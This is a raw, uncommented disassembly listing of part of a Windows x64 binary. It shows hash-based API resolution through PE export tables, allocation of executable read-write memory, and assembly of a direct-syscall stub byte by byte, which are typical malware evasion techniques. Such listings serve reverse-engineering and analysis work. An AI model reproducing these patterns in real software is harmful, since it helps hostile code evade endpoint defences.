mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe780]
lea rcx, [rsp + 0xe770]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe780]
mov rcx, qword [rsp + 0x8350]
call fcn.140097890
mov dword [rsp + 0x1960], eax
mov edx, dword [rsp + 0x1958]
lea rcx, [rsp + 0x195c]
call fcn.14009b2f0
lea rdx, [rsp + 0x195c]
lea rcx, [rsp + 0x8b8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x1401297be
mov edx, dword [rsp + 0x1960]
lea rcx, [rsp + 0x1964]
call fcn.14009b2f0
lea rdx, [rsp + 0x1964]
lea rcx, [rsp + 0x8b8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x1401297be
mov dword [rsp + 0x8c0], 1
jmp 0x1401297c9
mov dword [rsp + 0x8c0], 0
movzx eax, byte [rsp + 0x8c0]
test eax, eax
je 0x1401297da
jmp 0x1401294fd
mov rax, qword [rsp + 0x5410]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5418], rax
mov rax, qword [rsp + 0x5418]
mov qword [rsp + 0x43a8], rax
mov rax, qword [rsp + 0x5418]
mov qword [rsp + 0x8358], rax
mov rax, qword [rsp + 0x8358]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8360], rax
mov rax, qword [rsp + 0x8360]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x8368], rax
mov eax, dword [rsp + 0x8368]
add rax, qword [rsp + 0x43a8]
mov qword [rsp + 0x8370], rax
mov rax, qword [rsp + 0x8370]
mov qword [rsp + 0x43b0], rax
lea rdx, [rsp + 0x8c8]
lea rcx, [rsp + 0xcf90]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11b38]
lea rcx, [rsp + 0x43a8]
call fcn.140097040
lea rdx, [rsp + 0x13678]
lea rcx, [rsp + 0x43a8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11b38]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x1401298c6
jmp 0x1401294fd
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140129949
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11b48]
mov qword [rsp + 0x5420], rax
mov rcx, qword [rsp + 0x5420]
call fcn.140097960
mov qword [rsp + 0xde28], rax
mov rcx, qword [rsp + 0x5420]
call fcn.140097950
mov qword [rsp + 0x3d18], rax
mov rax, qword [rsp + 0x3d18]
mov rax, qword [rax]
mov qword [rsp + 0x5438], rax
mov rax, qword [rsp + 0x43a8]
mov qword [rsp + 0x8378], rax
mov rax, qword [rsp + 0x8378]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8380], rax
mov rax, qword [rsp + 0x8380]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5428], rax
mov eax, dword [rsp + 0x5428]
add rax, qword [rsp + 0x43a8]
mov qword [rsp + 0x5430], rax
mov eax, dword [rsp + 0x542c]
mov rcx, qword [rsp + 0x5430]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8388], rax
mov rax, qword [rsp + 0x5430]
cmp qword [rsp + 0x5438], rax
jb 0x140129a3b
mov rax, qword [rsp + 0x8388]
cmp qword [rsp + 0x5438], rax
jae 0x140129a3b
mov dword [rsp + 0x8d0], 1
jmp 0x140129a46
mov dword [rsp + 0x8d0], 0
movzx eax, byte [rsp + 0x8d0]
mov byte [rsp + 0xe1], al
movzx eax, byte [rsp + 0xe1]
test eax, eax
je 0x140129d15
mov rax, qword [rsp + 0x3d18]
mov rax, qword [rax]
mov qword [rsp + 0x8390], rax
mov rax, qword [rsp + 0x8390]
mov qword [rsp + 0x8398], rax
lea rax, [rsp + 0x123e8]
mov qword [rsp + 0x83a0], rax
mov rdx, qword [rsp + 0x8398]
mov rcx, qword [rsp + 0x83a0]
call fcn.140095590
lea rcx, [rsp + 0x6d70]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6d70]
call fcn.140191090
mov qword [rsp + 0x3d10], rax
cmp qword [rsp + 0x3d10], 0xffffffffffffffff
je 0x140129b50
mov r9, qword [rsp + 0x3d10]
xor r8d, r8d
lea rdx, [rsp + 0xe7a0]
lea rcx, [rsp + 0x6d70]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3d10]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe790]
lea rcx, [rsp + 0x6d70]
call fcn.14019aaa0
lea r8, [rsp + 0xe790]
lea rdx, [rsp + 0xe7a0]
lea rcx, [rsp + 0x11010]
call fcn.14008f7e0
jmp 0x140129b8b
lea rax, [rsp + 0x6d70]
mov qword [rsp + 0x83a8], rax
lea rcx, [rsp + 0xe7b0]
call fcn.140099fb0
lea r8, [rsp + 0xe7b0]
mov rdx, qword [rsp + 0x83a8]
lea rcx, [rsp + 0x11010]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11010]
call fcn.140097960
mov qword [rsp + 0x83b0], rax
lea rcx, [rsp + 0x11010]
call fcn.140097950
mov qword [rsp + 0x83c8], rax
lea rax, [rsp + 0xcf94]
mov qword [rsp + 0x83c0], rax
lea rax, [rsp + 0x1968]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1968]
call fcn.14009b310
mov qword [rsp + 0x83b8], rax
lea rax, [rsp + 0xe7c0]
mov rdi, rax
mov rsi, qword [rsp + 0x83b0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe7d0]
lea rcx, [rsp + 0xe7c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe7d0]
mov rcx, qword [rsp + 0x83b8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x83c0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1970], eax
lea rax, [rsp + 0xcf98]
mov qword [rsp + 0x83d8], rax
lea rax, [rsp + 0x196c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x196c]
call fcn.14009b310
mov qword [rsp + 0x83d0], rax
lea rax, [rsp + 0xe7e0]
mov rdi, rax
mov rsi, qword [rsp + 0x83c8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe7f0]
lea rcx, [rsp + 0xe7e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe7f0]
mov rcx, qword [rsp + 0x83d0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x83d8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1974], eax
mov r8d, dword [rsp + 0x1970]
mov edx, dword [rsp + 0x1974]
lea rcx, [rsp + 0x3d20]
call fcn.140191150
mov qword [rsp + 0x1240], rax
jmp 0x140129d3b
mov rax, qword [rsp + 0x3d18]
mov rax, qword [rax]
mov qword [rsp + 0x1240], rax
jmp 0x140129d3b
mov qword [rsp + 0x1240], 0
mov rax, qword [rsp + 0x1240]
mov qword [rsp + 0x3d20], rax
lea rcx, [rsp + 0x3d20]
call fcn.1400a2c10
mov qword [rsp + 0x83e0], rax
mov eax, dword [rsp + 0x6348]
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x83e0]
mov qword [rsp + 0x83e8], rax
mov eax, dword [rsp + 0x1978]
mov dword [rsp + 0x1980], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe800]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x83f0], rax
lea r9, [rsp + 0x83e8]
lea r8, [rsp + 0x1980]
lea rdx, [rsp + 0x123f8]
mov rcx, qword [rsp + 0x83f0]
call fcn.140098320
lea rcx, [rsp + 0xe800]
call fcn.1400a0f80
lea rcx, [rsp + 0x3d20]
call fcn.1400a2c10
mov qword [rsp + 0x83f8], rax
mov rax, qword [rsp + 0x83f8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1988], eax
mov eax, dword [rsp + 0x1988]
mov dword [rsp + 0x634c], eax
lea rax, [rsp + 0x6350]
mov qword [rsp + 0x8400], rax
mov eax, dword [rsp + 0x634c]
mov dword [rsp + 0x1990], eax
mov rax, qword [rsp + 0x8400]
add rax, 0x11
mov qword [rsp + 0x8408], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x8408]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x1990]
mov dword [rax], ecx
lea rax, [rsp + 0x6350]
mov qword [rsp + 0x5a8], rax
mov rax, qword [rsp + 0x5a8]
add rax, 0x10
mov qword [rsp + 0xde30], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x8410], rax
mov qword [rsp + 0x5440], 0
mov qword [rsp + 0x8418], 0xd
mov rax, qword [rsp + 0x8410]
mov qword [rsp + 0x8420], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x8418]
xor r8d, r8d
lea rdx, [rsp + 0x5440]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x8420]
mov dword [rsp + 0x1998], eax
cmp dword [rsp + 0x1998], 0
jl 0x140129f1f
mov rax, qword [rsp + 0x5440]
mov qword [rsp + 0x5448], rax
jmp 0x140129f2b
mov qword [rsp + 0x5448], 0
mov rax, qword [rsp + 0x5448]
mov qword [rsp + 0x8428], rax
mov rax, qword [rsp + 0x5a8]
mov rcx, qword [rsp + 0x8428]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5a8]
cmp qword [rax + 8], 0
jne 0x140129f60
jmp 0x140129fa4
mov rax, qword [rsp + 0x5a8]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5a8]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5a8]
mov rcx, qword [rsp + 0x5a8]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6350]
mov qword [rsp + 0x8480], rax
mov rax, qword [rsp + 0x8430]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x8438]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x8440]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x8448]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x8450]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x8458]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x8460]
mov r8, qword [rsp + 0x8468]
mov rdx, qword [rsp + 0x8470]
mov rcx, qword [rsp + 0x8478]
call qword [rsp + 0x8480]
mov dword [rsp + 0x199c], eax
lea rcx, [rsp + 0x6348]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x199c]
mov dword [rsp + 0x19a0], eax
cmp dword [rsp + 0x19a0], 0
jge 0x14012a05c
mov byte [rsp + 0x78], 0
jmp 0x14012a061
mov byte [rsp + 0x78], 1
movzx eax, byte [rsp + 0x78]
test eax, eax
je 0x14012a075
cmp qword [rsp + 0x3d28], 0
jne 0x14012a082
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov qword [rsp + 0x720], 0
lea rax, [rsp + 0x720]
mov qword [rsp + 0x5458], rax
mov rax, qword [rsp + 0x3d28]
add rax, 8
mov qword [rsp + 0x5450], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x84c8], rax
cmp qword [rsp + 0x5458], 0
je 0x14012a0e0
cmp qword [rsp + 0x5450], 0
je 0x14012a0e0
xor eax, eax
cmp rax, 8
jne 0x14012a0ea
mov byte [rsp + 0x79], 0
jmp 0x14012b243
lea rax, [rsp + 0xd7c8]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd7c8], 0x33
mov rax, qword [rsp + 0x5450]
mov qword [rsp + 0xd7d8], rax
mov rax, qword [rsp + 0x5458]
mov qword [rsp + 0xd7e0], rax
mov qword [rsp + 0xd7e8], 8
mov dword [rsp + 0x19e4], 0
mov qword [rsp + 0x8490], 0
mov qword [rsp + 0x8498], 0x28
lea rax, [rsp + 0xd7c8]
mov qword [rsp + 0x84a0], rax
lea rax, [rsp + 0x12408]
mov qword [rsp + 0x84a8], rax
mov qword [rsp + 0x84b0], 0
mov qword [rsp + 0x84b8], 0
mov qword [rsp + 0x84c0], 0
mov dword [rsp + 0x19a4], 0x9363e455
mov eax, dword [rsp + 0x19a4]
mov dword [rsp + 0x19a8], eax
lea rcx, [rsp + 0x19a8]
call fcn.1400a2c20
mov dword [rsp + 0x6370], eax
mov dword [rsp + 0x6374], 0
lea rax, [rsp + 0x6378]
mov qword [rsp + 0x8488], rax
mov dword [rsp + 0x19e0], 0x49
mov dword [rsp + 0x19dc], 0x89
mov dword [rsp + 0x19d8], 0xca
mov dword [rsp + 0x19d4], 0x48
mov dword [rsp + 0x19d0], 0xc7
mov dword [rsp + 0x19cc], 0xc0
mov dword [rsp + 0x19c8], 0x3f
mov dword [rsp + 0x19c4], 0x10
mov dword [rsp + 0x19c0], 0
mov dword [rsp + 0x19bc], 0
mov dword [rsp + 0x19b8], 0xf
mov dword [rsp + 0x19b4], 5
mov dword [rsp + 0x19b0], 0xc3
lea rax, [rsp + 0x19b0]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x19b4]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x19b8]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x19bc]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x19c0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x19c4]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x19c8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x19cc]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x19d0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x19d4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x19d8]
lea r8, [rsp + 0x19dc]
lea rdx, [rsp + 0x19e0]
mov rcx, qword [rsp + 0x8488]
call fcn.14008f900
mov byte [rsp + 0x217], 1
mov byte [rsp + 0x218], 0
movsxd rax, dword [rsp + 0x19e4]
mov qword [rsp + 0x8600], rax
mov byte [rsp + 0x219], 0
mov byte [rsp + 0x21a], 0
mov rax, qword [rsp + 0x8490]
mov qword [rsp + 0x8608], rax
mov byte [rsp + 0x21b], 0
mov byte [rsp + 0x21c], 1
mov rax, qword [rsp + 0x8498]
mov qword [rsp + 0x8610], rax
mov byte [rsp + 0x21d], 0
mov byte [rsp + 0x21e], 0
mov rax, qword [rsp + 0x84a0]
mov qword [rsp + 0x8618], rax
mov byte [rsp + 0x21f], 0
mov byte [rsp + 0x220], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x8620], rax
mov byte [rsp + 0x221], 0
mov byte [rsp + 0x222], 0
mov rax, qword [rsp + 0x84a8]
mov qword [rsp + 0x8628], rax
mov byte [rsp + 0x223], 0
mov byte [rsp + 0x224], 0
mov rax, qword [rsp + 0x84b0]
mov qword [rsp + 0x8630], rax
mov byte [rsp + 0x225], 0
mov byte [rsp + 0x226], 0
mov rax, qword [rsp + 0x84b8]
mov qword [rsp + 0x8638], rax
mov byte [rsp + 0x227], 0
mov byte [rsp + 0x228], 0
mov rax, qword [rsp + 0x84c0]
mov qword [rsp + 0x8640], rax
mov byte [rsp + 0x229], 0
mov byte [rsp + 0x22a], 0
mov rax, qword [rsp + 0x84c8]
mov qword [rsp + 0x8648], rax
mov eax, dword [rsp + 0x6370]
mov dword [rsp + 0x19e8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe810]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x84d0], rax
lea r8, [rsp + 0x19e8]
lea rdx, [rsp + 0x5460]
mov rcx, qword [rsp + 0x84d0]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x84d8], rax
lea rdx, [rsp + 0xde38]
mov rcx, qword [rsp + 0x84d8]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5460]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14012a4fb
mov qword [rsp + 0x5468], 0
jmp 0x14012a514
lea rcx, [rsp + 0x5460]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5468], rax
mov rax, qword [rsp + 0x5468]
mov qword [rsp + 0x84e0], rax
lea rcx, [rsp + 0xe810]
call fcn.1400a0f10
mov rax, qword [rsp + 0x84e0]
mov qword [rsp + 0x5470], rax
cmp qword [rsp + 0x5470], 0
je 0x14012a571
mov rax, qword [rsp + 0x5470]
mov eax, dword [rax + 4]
mov dword [rsp + 0x19f0], eax
mov eax, dword [rsp + 0x19f0]
mov dword [rsp + 0x6374], eax
jmp 0x14012afff
lea rax, [rsp + 0xcf9c]
mov qword [rsp + 0x84e8], rax
xor edx, edx
mov rcx, qword [rsp + 0x84e8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x19f4], eax
lea rax, [rsp + 0xcfa0]
mov qword [rsp + 0x84f0], rax
mov edx, dword [rsp + 0x6370]
mov rcx, qword [rsp + 0x84f0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x19f8], eax
mov eax, dword [rsp + 0x19f4]
mov dword [rsp + 0x8d8], eax
mov eax, dword [rsp + 0x19f8]
mov dword [rsp + 0x8f0], eax
xor edx, edx
lea rcx, [rsp + 0x19fc]
call fcn.14009b2f0
lea rdx, [rsp + 0x19fc]
lea rcx, [rsp + 0x8f0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14012a61e
mov qword [rsp + 0x1250], 0
jmp 0x14012af1d
mov byte [rsp + 0x22b], 1
mov qword [rsp + 0x6d80], 0
mov qword [rsp + 0x6d88], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3d30], rax
mov eax, 1
test eax, eax
je 0x14012a670
mov rax, qword [rsp + 0x3d30]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5478], rax
jmp 0x14012a683
mov rax, qword [rsp + 0x3d30]
mov rax, qword [rax]
mov qword [rsp + 0x5478], rax
mov rax, qword [rsp + 0x5478]
mov qword [rsp + 0x6d80], rax
mov rax, qword [rsp + 0x3d30]
mov qword [rsp + 0x6d88], rax
lea rax, [rsp + 0x6d80]
mov qword [rsp + 0x5480], rax
lea rdx, [rsp + 0x1248]
mov rcx, qword [rsp + 0x5480]
call fcn.14018efb0
lea rdx, [rsp + 0x84f8]
mov rcx, qword [rsp + 0x5480]
call fcn.140190a30
jmp 0x14012a6f2
mov rax, qword [rsp + 0x1248]
mov rax, qword [rax]
mov qword [rsp + 0x1248], rax
mov rax, qword [rsp + 0x84f8]
cmp qword [rsp + 0x1248], rax
je 0x14012a711
mov dword [rsp + 0x8d4], 1
jmp 0x14012a71c
mov dword [rsp + 0x8d4], 0
movzx eax, byte [rsp + 0x8d4]
test eax, eax
je 0x14012af11
xor edx, edx
mov rcx, qword [rsp + 0x1248]
call fcn.140096d90
mov qword [rsp + 0x8500], rax
lea rax, [rsp + 0x8500]
mov qword [rsp + 0x5488], rax
xor edx, edx
lea rcx, [rsp + 0x1a00]
call fcn.14009b2f0
lea rdx, [rsp + 0x1a00]
lea rcx, [rsp + 0x8d8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012a9bc
mov rax, qword [rsp + 0x5488]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x8508], rax
lea rdx, [rsp + 0x12418]
mov rcx, qword [rsp + 0x8508]
call fcn.14019acf0
lea rcx, [rsp + 0xe820]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x8d8]
mov dword [rsp + 0x1a04], eax
lea rax, [rsp + 0xd1f0]
lea rcx, [rsp + 0xe820]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1a04]
mov dword [rsp + 0x8e0], eax
lea rax, [rsp + 0x1a08]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1a08]
call fcn.14009b310
mov qword [rsp + 0x8510], rax
lea rax, [rsp + 0xe830]
lea rcx, [rsp + 0xd1f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe840]
lea rcx, [rsp + 0xe830]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe840]
mov rcx, qword [rsp + 0x8510]
call fcn.140097890
mov dword [rsp + 0x1a10], eax
lea rcx, [rsp + 0xd1f0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x8518], rax
mov r9, qword [rsp + 0x8518]
xor r8d, r8d
lea rdx, [rsp + 0xe850]
lea rcx, [rsp + 0xd1f0]
call fcn.14019ab70
lea rax, [rsp + 0x1a0c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1a0c]
call fcn.14009b310
mov qword [rsp + 0x8520], rax
lea rax, [rsp + 0xe860]
lea rcx, [rsp + 0xe850]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe870]
lea rcx, [rsp + 0xe860]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe870]
mov rcx, qword [rsp + 0x8520]
call fcn.140097890
mov dword [rsp + 0x1a18], eax
mov edx, dword [rsp + 0x1a10]
lea rcx, [rsp + 0x1a14]
call fcn.14009b2f0
lea rdx, [rsp + 0x1a14]
lea rcx, [rsp + 0x8e0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012a9a0
mov edx, dword [rsp + 0x1a18]
lea rcx, [rsp + 0x1a1c]
call fcn.14009b2f0
lea rdx, [rsp + 0x1a1c]
lea rcx, [rsp + 0x8e0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012a9a0
mov dword [rsp + 0x8e8], 1
jmp 0x14012a9ab
mov dword [rsp + 0x8e8], 0
movzx eax, byte [rsp + 0x8e8]
test eax, eax
je 0x14012a9bc
jmp 0x14012a6df
mov rax, qword [rsp + 0x5488]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5490], rax
mov rax, qword [rsp + 0x5490]
mov qword [rsp + 0x4368], rax
mov rax, qword [rsp + 0x5490]
mov qword [rsp + 0x8528], rax
mov rax, qword [rsp + 0x8528]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8530], rax
mov rax, qword [rsp + 0x8530]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x8538], rax
mov eax, dword [rsp + 0x8538]
add rax, qword [rsp + 0x4368]
mov qword [rsp + 0x8540], rax
mov rax, qword [rsp + 0x8540]
mov qword [rsp + 0x4370], rax
lea rdx, [rsp + 0x8f0]
lea rcx, [rsp + 0xcfa4]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11b60]
lea rcx, [rsp + 0x4368]
call fcn.140097040
lea rdx, [rsp + 0x136a0]
lea rcx, [rsp + 0x4368]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11b60]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14012aaa8
jmp 0x14012a6df
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14012ab2b
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11b70]
mov qword [rsp + 0x5498], rax
mov rcx, qword [rsp + 0x5498]
call fcn.140097960
mov qword [rsp + 0xde40], rax
mov rcx, qword [rsp + 0x5498]
call fcn.140097950
mov qword [rsp + 0x3d40], rax
mov rax, qword [rsp + 0x3d40]
mov rax, qword [rax]
mov qword [rsp + 0x54b0], rax
mov rax, qword [rsp + 0x4368]
mov qword [rsp + 0x8548], rax
mov rax, qword [rsp + 0x8548]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8550], rax
mov rax, qword [rsp + 0x8550]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x54a0], rax
mov eax, dword [rsp + 0x54a0]
add rax, qword [rsp + 0x4368]
mov qword [rsp + 0x54a8], rax
mov eax, dword [rsp + 0x54a4]
mov rcx, qword [rsp + 0x54a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8558], rax
mov rax, qword [rsp + 0x54a8]
cmp qword [rsp + 0x54b0], rax
jb 0x14012ac1d
mov rax, qword [rsp + 0x8558]
cmp qword [rsp + 0x54b0], rax
jae 0x14012ac1d
mov dword [rsp + 0x8f8], 1
jmp 0x14012ac28
mov dword [rsp + 0x8f8], 0
movzx eax, byte [rsp + 0x8f8]
mov byte [rsp + 0xe2], al
movzx eax, byte [rsp + 0xe2]
test eax, eax
je 0x14012aef7
mov rax, qword [rsp + 0x3d40]
mov rax, qword [rax]
mov qword [rsp + 0x8560], rax
mov rax, qword [rsp + 0x8560]
mov qword [rsp + 0x8568], rax
lea rax, [rsp + 0x12428]
mov qword [rsp + 0x8570], rax
mov rdx, qword [rsp + 0x8568]
mov rcx, qword [rsp + 0x8570]
call fcn.140095590
lea rcx, [rsp + 0x6f90]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6f90]
call fcn.140191090
mov qword [rsp + 0x3d38], rax
cmp qword [rsp + 0x3d38], 0xffffffffffffffff
je 0x14012ad32
mov r9, qword [rsp + 0x3d38]
xor r8d, r8d
lea rdx, [rsp + 0xe890]
lea rcx, [rsp + 0x6f90]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3d38]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe880]
lea rcx, [rsp + 0x6f90]
call fcn.14019aaa0
lea r8, [rsp + 0xe880]
lea rdx, [rsp + 0xe890]
lea rcx, [rsp + 0x11030]
call fcn.14008f7e0
jmp 0x14012ad6d
lea rax, [rsp + 0x6f90]
mov qword [rsp + 0x8578], rax
lea rcx, [rsp + 0xe8a0]
call fcn.140099fb0
lea r8, [rsp + 0xe8a0]
mov rdx, qword [rsp + 0x8578]
lea rcx, [rsp + 0x11030]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11030]
call fcn.140097960
mov qword [rsp + 0x8580], rax
lea rcx, [rsp + 0x11030]
call fcn.140097950
mov qword [rsp + 0x8598], rax
lea rax, [rsp + 0xcfa8]
mov qword [rsp + 0x8590], rax
lea rax, [rsp + 0x1a20]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1a20]
call fcn.14009b310
mov qword [rsp + 0x8588], rax
lea rax, [rsp + 0xe8b0]
mov rdi, rax
mov rsi, qword [rsp + 0x8580]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
